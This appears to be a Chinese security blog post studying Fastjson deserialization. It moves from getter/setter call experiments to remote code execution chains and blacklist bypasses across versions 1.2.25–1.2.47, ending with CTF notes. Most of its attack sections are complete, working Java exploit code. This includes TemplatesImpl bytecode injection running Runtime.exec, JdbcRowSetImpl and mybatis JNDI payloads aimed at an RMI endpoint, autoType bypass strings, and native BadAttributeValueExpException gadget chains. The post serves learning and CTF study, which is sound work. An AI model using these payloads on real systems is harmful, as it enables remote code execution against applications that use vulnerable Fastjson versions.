 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174


package org.example;

import java.util.Properties;

/**
 * @author L1ao
 * @version 1.0
 */
public class User {
 public String name1; //public且有get set
 public String name2; //public且有get
 public String name3; //public且有set
 public String name4; //仅仅public
 private String age1; //private且有get set
 private String age2; //private且有get
 private String age3; //private且有set
 private String age4; //仅仅private
 public Properties prop1_1; //public且有get set
 public Properties prop1_2; //public且有get
 public Properties prop1_3; //public且有set
 public Properties prop1_4; //仅仅public
 private Properties prop2_1; //private且有get set
 private Properties prop2_2; //private且有get
 private Properties prop2_3; //private且有set
 private Properties prop2_4; //仅仅private

 @Override
 public String toString() {
 return "User{" +
 "name1='" + name1 + '\'' +
 ", name2='" + name2 + '\'' +
 ", name3='" + name3 + '\'' +
 ", name4='" + name4 + '\'' +
 ", age1='" + age1 + '\'' +
 ", age2='" + age2 + '\'' +
 ", age3='" + age3 + '\'' +
 ", age4='" + age4 + '\'' +
 ", prop1_1=" + prop1_1 +
 ", prop1_2=" + prop1_2 +
 ", prop1_3=" + prop1_3 +
 ", prop1_4=" + prop1_4 +
 ", prop2_1=" + prop2_1 +
 ", prop2_2=" + prop2_2 +
 ", prop2_3=" + prop2_3 +
 ", prop2_4=" + prop2_4 +
 '}';
 }

 public String getName1() {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 return name1;
 }

 public void setName1(String name1) {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 this.name1 = name1;
 }

 public String getName2() {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 return name2;
 }

 public void setName3(String name3) {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 this.name3 = name3;
 }

 public String getAge1() {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 return age1;
 }

 public void setAge1(String age1) {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 this.age1 = age1;
 }

 public String getAge2() {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 return age2;
 }

 public void setAge3(String age3) {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 this.age3 = age3;
 }

 public Properties getProp1_1() {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 return prop1_1;
 }

 public void setProp1_1(Properties prop1_1) {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 this.prop1_1 = prop1_1;
 }

 public Properties getProp1_2() {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 return prop1_2;
 }


 public void setProp1_3(Properties prop1_3) {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 this.prop1_3 = prop1_3;
 }


 public Properties getProp2_1() {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 return prop2_1;
 }

 public void setProp2_1(Properties prop2_1) {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 this.prop2_1 = prop2_1;
 }

 public Properties getProp2_2() {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 return prop2_2;
 }

 public void setProp2_3(Properties prop2_3) {
 String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
 System.out.println(methodName + "() is called");
 this.prop2_3 = prop2_3;
 }

 public User() {
 this.name1 = "L1ao1";
 this.name2 = "L1ao2";
 this.name3 = "L1ao3";
 this.name4 = "L1ao4";
 this.age1 = "a1";
 this.age2 = "a2";
 this.age3 = "a3";
 this.age4 = "a4";
 prop1_1 = new Properties();
 prop1_2 = new Properties();
 prop1_3 = new Properties();
 prop1_4 = new Properties();
 prop1_1.put("prop1_1", "1_1");
 prop1_2.put("prop1_2", "1_2");
 prop1_3.put("prop1_3", "1_3");
 prop1_4.put("prop1_4", "1_4");
 prop2_1 = new Properties();
 prop2_2 = new Properties();
 prop2_3 = new Properties();
 prop2_4 = new Properties();
 prop2_1.put("prop2_1", "2_1");
 prop2_2.put("prop2_2", "2_2");
 prop2_3.put("prop2_3", "2_3");
 prop2_4.put("prop2_4", "2_4");
 System.out.println("User init() is called");
 }
}

序列化

常用方法

1
2
3
4
5
6
7
8


 public static String toJSONString(Object object) {
 return toJSONString(object, emptyFilters);
 }

 public static String toJSONString(Object object, SerializerFeature... features) {
 return toJSONString(object, DEFAULT_GENERATE_FEATURE, features);
 }
......

非自省

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


public static void userSer(){
 User user = new User();
 System.out.println("=====================");
 String jsonOutput= JSON.toJSONString(user);
 System.out.println(jsonOutput);
 }
 输出
 User init() is called
 =====================
 getAge1() is called
 getAge2() is called
 getName1() is called
 getName2() is called
 getProp1_1() is called
 getProp1_2() is called
 getProp2_1() is called
 getProp2_2() is called
 {
 "age1": "a1",
 "age2": "a2",
 "name1": "L1ao1",
 "name2": "L1ao2",
 "name3": "L1ao3",
 "name4": "L1ao4",
 "prop1_1": {
 "prop1_1": "1_1"
 },
 "prop1_2": {
 "prop1_2": "1_2"
 },
 "prop1_3": {
 "prop1_3": "1_3"
 },
 "prop1_4": {
 "prop1_4": "1_4"
 },
 "prop2_1": {
 "prop2_1": "2_1"
 },
 "prop2_2": {
 "prop2_2": "2_2"
 }
 }
观察发现在系列化时会调用getters，public修饰的变量会被赋值，private修饰并没有get的变量不会被赋值

自省

JSON 标准是不⽀持⾃省的，也就是说根据 JSON ⽂本，不知道它包含的对象的类型。 FastJson ⽀持⾃省，在序列化时传⼊类型信息 SerializerFeature.WriteClassName ，可以得到能表明对象类型的 JSON ⽂本。 FastJson 的漏洞就是由于这个功能引起的。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51


 public static void userSer(){
 User user = new User();
 System.out.println("=====================");
 String jsonOutput= JSON.toJSONString(user,SerializerFeature.WriteClassName);
 System.out.println(jsonOutput);
 }
输出
 User init() is called
 =====================
 getAge1() is called
 getAge2() is called
 getName1() is called
 getName2() is called
 getProp1_1() is called
 getProp1_2() is called
 getProp2_1() is called
 getProp2_2() is called
 {
 "@type": "org.example.User",
 "age1": "a1",
 "age2": "a2",
 "name1": "L1ao1",
 "name2": "L1ao2",
 "name3": "L1ao3",
 "name4": "L1ao4",
 "prop1_1": {
 "@type": "java.util.Properties",
 "prop1_1": "1_1"
 },
 "prop1_2": {
 "@type": "java.util.Properties",
 "prop1_2": "1_2"
 },
 "prop1_3": {
 "@type": "java.util.Properties",
 "prop1_3": "1_3"
 },
 "prop1_4": {
 "@type": "java.util.Properties",
 "prop1_4": "1_4"
 },
 "prop2_1": {
 "@type": "java.util.Properties",
 "prop2_1": "2_1"
 },
 "prop2_2": {
 "@type": "java.util.Properties",
 "prop2_2": "2_2"
 }
 }
新增@type字段用于指明反序列化对象，其他不变

反序列化

非自省

常用方法

1
2
3
4


public static <T> T parseObject(String text, Class<T> clazz) {
 return parseObject(text, clazz);
}
......

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


 String jsonInput = "{\"age1\":\"a1\",\"age2\":\"a2\",\"name1\":\"L1ao1\",\"name2\":\"L1ao2\",\"name3\":\"L1ao3\",\"name4\":\"L1ao4\",\"prop1_1\":{\"prop1_1\":\"1_1\"},\"prop1_2\":{\"prop1_2\":\"1_2\"},\"prop1_3\":{\"prop1_3\":\"1_3\"},\"prop1_4\":{\"prop1_4\":\"1_4\"},\"prop2_1\":{\"prop2_1\":\"2_1\"},\"prop2_2\":{\"prop2_2\":\"2_2\"}}";
 User newUser = JSON.parseObject(jsonInput, User.class);
 System.out.println(newUser);
输出
 User init() is called
 setAge1() is called
 setName1() is called
 setName3() is called
 setProp1_1() is called
 setProp1_3() is called
 setProp2_1() is called
 getProp2_2() is called
 User{name1='L1ao1', name2='L1ao2', name3='L1ao3', name4='L1ao4', age1='a1', age2='null', age3='null', age4='null', prop1_1={prop1_1=1_1}, prop1_2={prop1_2=1_2}, prop1_3={prop1_3=1_3}, prop1_4={prop1_4=1_4}, prop2_1={prop2_1=2_1}, prop2_2=null, prop2_3=null, prop2_4=null}
public全部赋值，private有set的被赋值，其他为null，额外调用一次getProp2_2？？为什么

自省

JSON.parseObject 除了传⼊ Class clazz ⾮⾃省反序列化，也同样有⾃省反序列化

常用方法

1
2
3
4


public static JSONObject parseObject(String text) {
 Object obj = parse(text);
 return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


 String jsonInput = "{\"@type\":\"org.example.User\",\"age1\":\"a1\",\"age2\":\"a2\",\"name1\":\"L1ao1\",\"name2\":\"L1ao2\",\"name3\":\"L1ao3\",\"name4\":\"L1ao4\",\"prop1_1\":{\"@type\":\"java.util.Properties\",\"prop1_1\":\"1_1\"},\"prop1_2\":{\"@type\":\"java.util.Properties\",\"prop1_2\":\"1_2\"},\"prop1_3\":{\"@type\":\"java.util.Properties\",\"prop1_3\":\"1_3\"},\"prop1_4\":{\"@type\":\"java.util.Properties\",\"prop1_4\":\"1_4\"},\"prop2_1\":{\"@type\":\"java.util.Properties\",\"prop2_1\":\"2_1\"},\"prop2_2\":{\"@type\":\"java.util.Properties\",\"prop2_2\":\"2_2\"}}\n";
 Object newUser = JSON.parseObject(jsonInput);
 System.out.println(newUser);
输出
 User init() is called
 setAge1() is called
 setName1() is called
 setName3() is called
 setProp1_1() is called
 setProp1_3() is called
 setProp2_1() is called
 getProp2_2() is called
 getAge1() is called
 getAge2() is called
 getName1() is called
 getName2() is called
 getProp1_1() is called
 getProp1_2() is called
 getProp2_1() is called
 getProp2_2() is called
 {"prop1_3":{"prop1_3":"1_3"},"prop1_4":{"prop1_4":"1_4"},"name4":"L1ao4","prop1_1":{"prop1_1":"1_1"},"name3":"L1ao3","prop1_2":{"prop1_2":"1_2"},"prop2_1":{"prop2_1":"2_1"},"name2":"L1ao2","name1":"L1ao1","age1":"a1"}
调用了所有getter和setter，其中getProp2_2调用了两次，为什么？？

String jsonInput = "{\"@type\":\"org.example.User\",\"age1\":\"a1\",\"age2\":\"a2\",\"name1\":\"L1ao1\",\"name2\":\"L1ao2\",\"name3\":\"L1ao3\",\"name4\":\"L1ao4\",\"prop1_1\":{\"@type\":\"java.util.Properties\",\"prop1_1\":\"1_1\"},\"prop1_2\":{\"@type\":\"java.util.Properties\",\"prop1_2\":\"1_2\"},\"prop1_3\":{\"@type\":\"java.util.Properties\",\"prop1_3\":\"1_3\"},\"prop1_4\":{\"@type\":\"java.util.Properties\",\"prop1_4\":\"1_4\"},\"prop2_1\":{\"@type\":\"java.util.Properties\",\"prop2_1\":\"2_1\"},\"prop2_2\":{\"@type\":\"java.util.Properties\",\"prop2_2\":\"2_2\"}}\n";
Object newUser = JSON.parse(jsonInput);
输出
User init() is called
setAge1() is called
setName1() is called
setName3() is called
setProp1_1() is called
setProp1_3() is called
setProp2_1() is called
getProp2_2() is called
调用了所有setter，其中setAge3没有调用是因为传入的json中没有age3字段，至于为什么没有，是因为反序列化时没有get方法并且是private所以没有age3字段

结论

根据⼏种输出的结果，可以得到每种调⽤⽅式的特点：

parseObject(String text, Class clazz) ，构造⽅法 + setter + 满⾜条件额外的 getter

parseObject(String text) ，构造⽅法 + setter + getter + 满⾜条件额外的 getter

parse(String text) ，构造⽅法 + setter + 满⾜条件额外的 getter

这个额外条件是什么呢？不解

4. TemplatesImpl 反序列化利用链

利用条件：

开启了Feature.SupportNonPublicField
fastjson < 1.2.48 ?

先放个exp吧

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48


package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import java.lang.reflect.Field;
import java.util.Base64;

/**
 * @author L1ao
 * @version 1.0
 */
public class Poc {
 public static void setValue(Object obj, String name, Object value) throws Exception {
 Field field = obj.getClass().getDeclaredField(name);
 field.setAccessible(true);
 field.set(obj, value);
 }

 public static void main(String[] args) throws Exception {
 ClassPool pool = ClassPool.getDefault();
 CtClass clazz = pool.makeClass("a");
 CtClass superClass = pool.get(AbstractTranslet.class.getName());
 clazz.setSuperclass(superClass);
 CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
 constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
 clazz.addConstructor(constructor);
 byte[] bytes = clazz.toBytecode();
 String payload = "{" +
 "\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
 "\"_bytecodes\": [\""+Base64.getEncoder().encodeToString(bytes)+"\"]," +
 "\"_name\":\"L1ao\"," +
 "\"_tfactory\":{ }," +
 "\"_outputProperties\": {}," +
 "\"_name\":\"a\"," +
 "\"_version\":\"1.0\"," +
 "\"allowedProtocols\":\"all\"" +
 "}";
 System.out.println(payload);
 JSON.parseObject(payload, Feature.SupportNonPublicField);
 }
}

反序列化会触发getter：getOutputProperties中defineTransletClasses来加载字节码，调用栈如下

defineTransletClasses:415, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getTransletInstance:452, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:485, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:506, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:46, Poc (org.example)

5. JNDI && JdbcRowSetImpl利⽤链

不需要开启Feature.SupportNonPublicField
高版本jndi有限制
基于ldap的利⽤⽅式：适⽤jdk版本： JDK 11.0.1 、 8u191 、 7u201 、 6u211 之前。
基于rmi的利⽤⽅式：适⽤jdk版本： JDK 6u132 , JDK 7u122 , JDK 8u113 之前

6. 补丁分析

1.2.25

新增了 autoTypeSupport 反序列化选项，并通过 checkAutoType 函数对加载类进⾏⿊⽩名单过滤和判断。

maven改一下版本

1
2
3
4
5


<dependency>
 <groupId>com.alibaba</groupId>
 <artifactId>fastjson</artifactId>
 <version>1.2.25</version>
</dependency>

黑名单

0 = "bsh"
1 = "com.mchange"
2 = "com.sun."
3 = "java.lang.Thread"
4 = "java.net.Socket"
5 = "java.rmi"
6 = "javax.xml"
7 = "org.apache.bcel"
8 = "org.apache.commons.beanutils"
9 = "org.apache.commons.collections.Transformer"
10 = "org.apache.commons.collections.functors"
11 = "org.apache.commons.collections4.comparators"
12 = "org.apache.commons.fileupload"
13 = "org.apache.myfaces.context.servlet"
14 = "org.apache.tomcat"
15 = "org.apache.wicket.util"
16 = "org.codehaus.groovy.runtime"
17 = "org.hibernate"
19 = "org.mozilla.javascript"
18 = "org.jboss"
20 = "org.python.core"
21 = "org.springframework"

可见上面的JdbcRowSetImpl利⽤链使用的类 com.sun.rowset.JdbcRowSetImpl 被禁用了（”com.sun.”）

白名单默认为空

autoTypeSupport 为 true ，使⽤⿊名单验证，因此存在绕过⻛险。

绕过POC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


package org.example;

/**
 * @author L1ao
 * @version 1.0
 */
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
public class Poc2 {
 public static void main(String[] args) {
 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 使用黑名单过滤
 String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://localhost:1099/k5xdee\",\"autoCommit\":true}";
 System.out.println(PoC);
 JSON.parse(PoC);
 }
}

即在类名前加L后加;

问题出现在

loadClass:1084, TypeUtils (com.alibaba.fastjson.util)
checkAutoType:861, ParserConfig (com.alibaba.fastjson.parser)
parseObject:322, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:17, Poc2 (org.example)

这里如果类名为L并且;结尾则忽略开头和结尾，以新类名作为参数递归调⽤ loadClass 函数，最终加载 JdbcRowSetImpl 并返回，实现绕过。

如果类名以[开头，则忽略开头，但是是返回array

1.2.42

对之前版本进行修复，对黑名单使用类hash

1

this.denyHashCodes = new long[]{-8720046426850100497L, -8109300701639721088L, -7966123100503199569L, -7766605818834748097L, -6835437086156813536L, -4837536971810737970L, -4082057040235125754L, -2364987994247679115L, -1872417015366588117L, -254670111376247151L, -190281065685395680L, 33238344207745342L, 313864100207897507L, 1203232727967308606L, 1502845958873959152L, 3547627781654598988L, 3730752432285826863L, 3794316665763266033L, 4147696707147271408L, 5347909877633654828L, 5450448828334921485L, 5751393439502795295L, 5944107969236155580L, 6742705432718011780L, 7179336928365889465L, 7442624256860549330L, 8838294710098435315L};

网上有对应的：https://github.com/LeadroyaL/fastjson-blacklist

修改依赖

1
2
3
4
5


<dependency>
 <groupId>com.alibaba</groupId>
 <artifactId>fastjson</artifactId>
 <version>1.2.41</version>
</dependency>

就进行一次substring，双写绕过

Poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


package org.example;

/**
 * @author L1ao
 * @version 1.0
 */
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
public class Poc2 {
 public static void main(String[] args) {
 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 使用黑名单过滤
 String PoC = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://localhost:1099/k5xdee\",\"autoCommit\":true}";
 System.out.println(PoC);
 JSON.parse(PoC);
 }
}

1.2.43

修复了二次绕过，多次重复不再生效

还记得之前那个[ 吗，这次绕过就是用的这个

依旧修改maven不贴了

给出Poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


package org.example;

/**
 * @author L1ao
 * @version 1.0
 */
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
public class Poc2 {
 public static void main(String[] args) {
 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 使用黑名单过滤
 String PoC ="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://localhost:1099/nt91oz\",\"autoCommit\":true}" ;
 System.out.println(PoC);
 JSON.parse(PoC);
 }
}

1.2.44-1.2.45

修复了恶意类名前添加 [ 的引发安全问题

第三方库的链子

1
2
3
4
5


<dependency>
 <groupId>org.mybatis</groupId>
 <artifactId>mybatis</artifactId>
 <version>3.5.3</version>
</dependency>

给出Poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


package org.example;

/**
 * @author L1ao
 * @version 1.0
 */
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
public class Poc2 {
 public static void main(String[] args) {
 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 使用黑名单过滤
 String PoC = " {\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://localhost:1099/nt91oz\"}}";
 System.out.println(PoC);
 JSON.parse(PoC);
 }
}

1.2.46-1.2.47

修复了上面的第三方链子

新的 java.lang.Class 利⽤链，利⽤缓存 mappings 从⽽绕过了⿊⽩名单的限制加载 com.sun.rowset.JdbcRowSetImpl 类。不受 autoTypeSupport 选项的影响，威⼒更⼤，范围更⼴。

给出Poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


package org.example;

/**
 * @author L1ao
 * @version 1.0
 */
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
public class Poc2 {
 public static void main(String[] args) {
 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 使用黑名单过滤
 String payload = "{\n" +
 " \"name\":{\n" +
 " \"@type\":\"java.lang.Class\",\n" +
 " \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
 " },\n" +
 " \"x\":{\n" +
 " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
 " \"dataSourceName\":\"rmi://localhost:1099/nt91oz\",\n" +
 " \"autoCommit\":true\n" +
 " }\n" +
 "}";
 System.out.println(payload);
 JSON.parse(payload);
 }
}

利用java.lang.Class将com.sun.rowset.JdbcRowSetImpl注入到缓存中，然后反序列化com.sun.rowset.JdbcRowSetImpl时在缓存中绕过检测

7. 原生类反序列化

https://paper.seebug.org/2055/

ois.readObject()

fastjson的一条链

Poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51


import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Test {
 public static void setValue(Object obj, String name, Object value) throws Exception{
 Field field = obj.getClass().getDeclaredField(name);
 field.setAccessible(true);
 field.set(obj, value);
 }

 public static void main(String[] args) throws Exception{
 ClassPool pool = ClassPool.getDefault();
 CtClass clazz = pool.makeClass("a");
 CtClass superClass = pool.get(AbstractTranslet.class.getName());
 clazz.setSuperclass(superClass);
 CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
 constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
 clazz.addConstructor(constructor);
 byte[][] bytes = new byte[][]{clazz.toBytecode()};
 TemplatesImpl templates = TemplatesImpl.class.newInstance();
 setValue(templates, "_bytecodes", bytes);
 setValue(templates, "_name", "y4tacker");
 setValue(templates, "_tfactory", null);


 JSONArray jsonArray = new JSONArray();
 jsonArray.add(templates);

 BadAttributeValueExpException val = new BadAttributeValueExpException(null);
 Field valfield = val.getClass().getDeclaredField("val");
 valfield.setAccessible(true);
 valfield.set(val, jsonArray);
 ByteArrayOutputStream barr = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
 objectOutputStream.writeObject(val);

 ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
 Object o = (Object)ois.readObject();
 }
}

通杀链来自@1ue师傅，引用绕过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59


import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Base64;
import java.util.List;

import com.ctf.ezser.utils.MyObjectInputStream;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Test3 {
 public static void setValue(Object obj, String name, Object value) throws Exception{
 Field field = obj.getClass().getDeclaredField(name);
 field.setAccessible(true);
 field.set(obj, value);
 }

 public static void main(String[] args) throws Exception{

 ClassPool pool = ClassPool.getDefault();
 CtClass clazz = pool.makeClass("a");
 CtClass superClass = pool.get(AbstractTranslet.class.getName());
 clazz.setSuperclass(superClass);
 CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
 constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
 clazz.addConstructor(constructor);
 byte[][] bytes = new byte[][]{clazz.toBytecode()};

 TemplatesImpl templates = TemplatesImpl.class.newInstance();
 setValue(templates, "_bytecodes", bytes);
 setValue(templates, "_name", "1ue");
 setValue(templates, "_tfactory", null);

 List<Object> list = new ArrayList<>();
 list.add(templates);

 JSONArray jsonArray = new JSONArray();
 jsonArray.add(templates);

 BadAttributeValueExpException val = new BadAttributeValueExpException(null);
 Field valfield = val.getClass().getDeclaredField("val");
 valfield.setAccessible(true);
 valfield.set(val, jsonArray);
 list.add(val);

 ByteArrayOutputStream barr = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
 objectOutputStream.writeObject(list);
 System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
 ObjectInputStream ois = new MyObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
 Object o = (Object)ois.readObject();
 }
}

阿里云ctf ezbean

fastjson1.2.60，jdk 1.8.0_121（可以ldap），有tomcat

wp给的链子差不多但是本地就不通了，报默认构造器不存在，不解，上面的通杀链可以通

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


package com.ctf.ezser;

import com.alibaba.fastjson.JSONArray;
import com.ctf.ezser.bean.MyBean;

import javax.management.BadAttributeValueExpException;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class Poc {
 public static void setValue(Object obj, String name, Object value) throws Exception {
 Field field = obj.getClass().getDeclaredField(name);
 field.setAccessible(true);
 field.set(obj, value);
 }

 public static void main(String[] args) throws Exception {
 RMIConnector rmiConnector = new RMIConnector(new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/tostil"),null);
 MyBean myBean = new MyBean("nm","ss",rmiConnector);
 JSONArray jsonArray = new JSONArray();
 jsonArray.add(myBean);
 BadAttributeValueExpException val = new BadAttributeValueExpException(null);
 Field valfield = val.getClass().getDeclaredField("val");
 valfield.setAccessible(true);
 valfield.set(val, jsonArray);
 ByteArrayOutputStream barr = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
 objectOutputStream.writeObject(val);
 System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
 ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
 Object o = (Object)ois.readObject();
 }
}

default constructor not found. class javax.management.remote.rmi.RMIConnector

跑了下nu1l的exp依旧报默认构造器不存在，不解

Java 反序列化漫谈

Thu, 13 Apr 2023 00:00:00 +0000

Java 反序列化漫谈

